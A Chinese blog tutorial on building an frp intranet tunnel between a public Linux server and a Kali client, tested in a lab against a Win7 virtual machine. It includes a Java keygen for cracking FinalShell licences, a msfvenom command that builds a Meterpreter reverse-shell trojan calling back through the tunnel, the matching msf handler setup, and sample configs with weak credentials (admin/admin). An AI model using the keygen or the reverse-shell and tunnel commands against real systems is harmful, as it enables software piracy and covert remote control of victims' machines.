网络安全之frp内网穿透
前言
内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机
环境需求
一台公网服务器(linux操作系统)
一台内网主机服务器(linux操作系统) //我用的kali
Finalshell程序
win7靶机
环境搭建
Finalshell下载及破解
Finalshell下载安装,这个程序直接解压就可以运行exe程序,可以自己去下载也可以使用以下链接下载
Finalshell下载链接: https://pan.baidu.com/s/1US820WL3Y3A22yFQrctgKg?pwd=tmoz
其中需要破解的可以参考这位博主:https://blog.csdn.net/qq_50839138/article/details/126160766
破解步骤为: 点击界面左下角的 激活/升级 -> 点击离线激活(点击之前要输入你想使用的用户和密码,随便写就好) -> 复制机器码 ->使用以下java代码然后将机器码复制到程序中执行,选择你要的激活码,复制到框框里激活就可以成功


import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Scanner;
public class Finalshell {
public static void main(String[] args) throws NoSuchAlgorithmException {
Scanner scanner = new Scanner(System.in);
System.out.println("FinalShell-Keygen v1.0 - Developed by UltraPanda\n* Only for educational purpose *\n请输入离线激活所提供的机器码: ");
String hardwareId = scanner.nextLine();
System.out.printf("高级版激活码: %s\n专业版激活码: %s%n", transform('\uef79' + hardwareId + 8552), transform(2356 + hardwareId + 13593));
}
public static String transform(String str) throws NoSuchAlgorithmException {
return hashMD5(str).substring(8, 24);
}
public static String hashMD5(String str) throws NoSuchAlgorithmException {
MessageDigest digest = MessageDigest.getInstance("MD5");
byte[] hashed = digest.digest(str.getBytes());
StringBuilder sb = new StringBuilder();
byte[] var4 = hashed;
int var5 = hashed.length;
for(int var6 = 0; var6 < var5; ++var6) {
byte b = var4[var6];
int len = b & 255;
if (len < 16) {
sb.append("0");
}
sb.append(Integer.toHexString(len));
}
return sb.toString();
}
}

激活成功后用22端口分别去连接你的公网服务器和kali
公网服务器搭建frp
先使用arch查看自己的系统是64还是32位的
然后使用命令
wget https://github.com/fatedier/frp/releases/download/v0.46.0/frp_0.46.1_linux_amd64.tar.gz //下载
tar -zxvf frp_0.46.1_linux_amd64.tar.gz //解压
cd frp_0.46.1_linux_amd64 //进入文件夹


vi frps.ini 修改配置文件
[common]
#frp监听端口,默认是7000,可改
bind_addr = 0.0.0.0
bind_port = 7080
#授权码,建议改成复杂的
token = 520520
#frp管理后台端口,根据自己需要去改即可
dashboard_port = 7878
# frp管理后台用户名和面,改成自己的
dashboard_user = admin
dashboard_pwd = admin

设置和启动frp服务器
sudo mkdir -p /etc/frp //创建etc/frp文件夹
sudo cp frps.ini /etc/frp //将frps复制到/etc/frp文件夹下
sudo cp frps /usr/bin //将frps写入系统命令方便在其他地方调用
vim /etc/systemd/system/frps.service //配置在下边第二张图
sudo cp /etc/systemd/system/frps.service /usr/lib/systemd/system/ //将启动服务添加到system系统中
sudo systemctl enable frps //运行frps
sudo systemctl start frps //启动frps
没有错误则配置和启动都成功
/etc/systemd/system/frps.service配置
[Unit]
Description = frp server
After = network.target syslog.target
Wants = network.target
[Service]
Type = simple
ExecStart = /root/frp_0.46.1_linux_amd64/frps -c /root/frp_0.46.1_linux_amd64/frps.ini
[Install]
WantedBy = multi-user.target

防火墙开放端口,运行前要先开启防火墙(service firewalld start)
sudo firewall-cmd --permanent --add-port=7080/tcp //这里对应frps.ini中的 bind_port = 7080
sudo firewall-cmd --permanent --add-port=7878/tcp //这里对应frps.ini中的 dashboard_port = 7878
sudo firewall-cmd --permanent --add-port=6070/tcp //这里对应客户端的6070
sudo firewall-cmd --reload //加载配置
每个配置后都出现success则配置成功
我这里是7080的连接端口和7878的后台端口还有客户端转发的端口其他可以不看
sudo firewall-cmd --list-ports //查看开放的端口

紧接着,使用 ./frps -c ./frps.ini ,看到以下界面说明正确了,如果有问题则上面的配置重新审查一下

然后会出现无法访问或者访问超时,是因为服务器防火墙没有添加放行7080和7878端口,去服务器添加规则即可(因为我是用腾讯云的所以直接去他服务器防火墙改,其他种类的防火墙根据自己的防火墙去配置放行就好)

配置好了,去访问http://你的服务器ip:7878/后台管理,会出现弹框输入你服务器配置的账号密码即可查看到一下界面

服务器配置到这就算成功了,接下来配置客户端的
内网客户端服务器搭建frp
在内网开启一台机子,我这里用kali,然后将frp上传到kali中,解压后进入文件夹

vim frpc.ini //进入frpc.ini配置客户端
[common]
server_addr = 你的服务器ip
#与服务器的frps.ini的bind_port相同
server_port = 7080
#与服务器端的frps.ini的token相同
token = 520520
#配置ssh服务
[ssh]
type = tcp
local_ip = 127.0.0.1
#用于本地接收数据的端口,可改
local_port = 4545
#用于转发的端口,默认6000,可改
remote_port = 6070

sudo mkdir -p /etc/frp //创建etc/frp文件夹
sudo cp frpc.ini /etc/frp //将frps复制到/etc/frp文件夹下
sudo cp frpc /usr/bin //将frps写入系统命令方便在其他地方调用
vim /etc/systemd/system/frpc.service //配置在下边第二张图
sudo cp /etc/systemd/system/frpc.service /usr/lib/systemd/system/ //将启动服务添加到system系统中
sudo systemctl enable frpc //运行frps
sudo systemctl start frpc //启动frps
没有错误则配置和启动都成功
/etc/systemd/system/frpc.service配置
[Unit]
Description = frp server
After = network.target syslog.target
Wants = network.target
[Service]
Type = simple
ExecStart = /root/frp_0.46.1_linux_amd64/frpc -c /frp_0.46.1_linux_amd64/frpc.ini
[Install]
WantedBy = multi-user.target

使用 ./frpc -c ./frpc.ini 连接服务器,有以下界面说明连接成功

测试内网穿透是否成功
连接成功后,我们kali的msfvenom生成木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=服务器ip LPORT=6070 -f exe > muma60701.exe
6070对应客户端的frpc.ini的转发端口

开启msf监听,
msfconcole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lport 4545 //这里设置接收数据的端口对应frpc.ini的4545端口
set lhost 127.0.0.1
run
然后将木马放到虚拟机win7运行之后会得到后台

总结
我们目前搭建在公网的服务器frps是作为中转的路由,内网客户端 -> 公网服务器路由 -> 其他内网主机,内网客户端发送请求(也就是我们生成的木马),然后发送给其他内网主机,内网主机连接成功反弹回请求到公网服务器再利用6070转发到我们内网4545端口上,从而达到内网穿透成功

网络安全之frp内网穿透的更多相关文章
- frp内网 穿透映射使内网svn可外网访问
起因 公司svn目前部署在内网服务器上,现在想在家中也可以使用,因此需要外网访问内网的工具 经过 使用过几个产品: utools,一个小巧的windows下的工具,内网映射只是它的一个小功能,支持tc ...
- 树莓派FRP内网穿透及自启动
内网穿透的步骤和文件存档 实验室在远方部署了电脑主机来采集数据和图片,每次去调试会很麻烦,因而使用FRP内网穿透使得我们可以在实验室访问主机. 主要功能 实现远程可访问和开机自启FRP程序服务 安装和 ...
- Frp内网穿透搭建,家庭主机对外提供接口,支持ssh访问
Frp内网穿透搭建,家庭主机对外提供接口,支持ssh访问 1.使用场景: 需求1.家中服务器 ubuntu 主机,跑接口服务,需要对外暴漏, 需求2.同时需要在外网ssh远程 关键词: frp内网 ...
- frp 内网穿透访问内网Web服务
ps:最近想要通过域名(公网)访问或者测试在本地搭建的 web 服务(不想在公网IP服务器上再部署个服务,也不想通过teamview等工具远程卡到爆!), 由于本地机器没有公网 IP,无法将域名解析到 ...
- frp内网穿透学习
前言 因为自己在内网,但是目标站在外网,这时候可以通过内网穿透工具,将接收到的请求转发到内网,实现在内网的msf可以控制外网的靶机. 也看了一些Ngrok,花生壳的,发现Ngrok.cc这个看文章说有 ...
- [svc]frp内网穿透
什么是穿透 可以任意暴漏内网任何服务,加入你在你的办公网络有台pc,可以上网就可以了, 你可以在你电脑上安装各类服务器, 暴漏如80 22等端口, 注意 这可以暴漏到公网哦, 在出口不做任何nat情况 ...
- frp内网穿透
原理 frp(fast reverse proxy)分为Server端和Client端,Server端安装在带有公网IP的服务器上,Client安装在内网环境但能上网的普通PC中. 流程: Serve ...
- frp内网穿透实战
什么是frp frp是一个使用非常简单的开源内网穿透软件,代码地址:https://github.com/fatedier/frp ,使用条前提你需要有一台公网服务器,大致原理是:公网服务器监听某个端 ...
- 五、frp内网穿透客户端frpc.ini各配置参数详解
[必须]标识头[common]是不可或缺的部分 [必须]frps服务端IPserver_addr = 0.0.0.00.0.0.0为FRP服务端IP,客户端要填写为服务端已配置的对应的IP,或者是服务 ...
- 四、frp内网穿透服务端frps.ini各配置参数详解
[必须]标识头[common]是不可或缺的部分 [必须]服务器IPbind_addr = 0.0.0.00.0.0.0为服务器全局所有IP可用,假如你的服务器有多个IP则可以这样做,或者填写为指定其中 ...
随机推荐
- vue+spirngboot 分离技术实现图书信息的增删改查(改造这学期的课程设计【1】)
1.前端项目的创建 vue init webpack bookshopvue 安装axios http://www.axios-js.com/ npm install --save axios vue ...
- sentinel的四种流控规则介绍
sentinel的四种流控规则介绍 今天的内容我们主要围绕四个点进行展开介绍. 流控模式 :关联.链路 流控效果 :Warm Up.排队等待 这四点具体是什么意思呢? 首先启动项目:cloud-ali ...
- JS中数值类型的本质
一.JS中的数值类型 众所JS爱好友周知,JS中只有一个总的数值类型--number,它包含了整型.浮点型等数值类型.其中,浮点数的实现思想有点复杂,它把一个数拆成两部分来存储.第一部分是有效位数,也 ...
- 基于SqlSugar的开发框架循序渐进介绍(20)-- 在基于UniApp+Vue的移动端实现多条件查询的处理
在做一些常规应用的时候,我们往往需要确定条件的内容,以便在后台进行区分的进行精确查询,在移动端,由于受限于屏幕界面的情况,一般会对多个指定的条件进行模糊的搜索,而这个搜索的处理,也是和前者强类型的条件 ...
- java中类的关系的总结
类和类之间存在多种关系,而这种关系在我们的代码中司空见惯,有时多种类关系很难区分 (由于水平有限,没有画出类的关系图,关系图可以参考参考链接) 继承关系 继承是指一个子类(子接口)继承父类(父接口)然 ...
- Python学习之实例2
一.根据输入的各科成绩统计学生成绩是否达标 1 (背景:输入学生数量,以及各个学生语文.数学.英语.历史四科的成绩,如果总成绩小于 240,则成绩不达标,否则成绩合格) 2 3 #coding=utf ...
- 常用Python库整理
记录工作和学习中遇到和使用过的Python库. Target 四个Level 整理 Collect 学习 Learn 练习 Practice 掌握 Master 1. Python原生和功能增强 1. ...
- 5 分钟速通 SVG
前言 SVG对不少前端来说就是一个熟悉的陌生人,此篇博客是我学习完SVG后做的一个小总结,帮助我快速回忆SVG相关内容. 它不能帮你精通 SVG,但是可以帮你快速了解SVG的一些核心内容,不会迷失在一 ...
- QQ登录
public function login(){ $urlencode = urlencode("http://www.zhangxuhui.com/index/Index/callback ...
- CmakeLists简单使用总结
单文件工程和多级目录工程CmakeLists.txt编写分享 你若发现该帖中有待商榷的地方,还请指正赐教,先行拜谢了! 1 main.c单文件工程CmakeLists.txt 1.1 目录结构 1.2 ...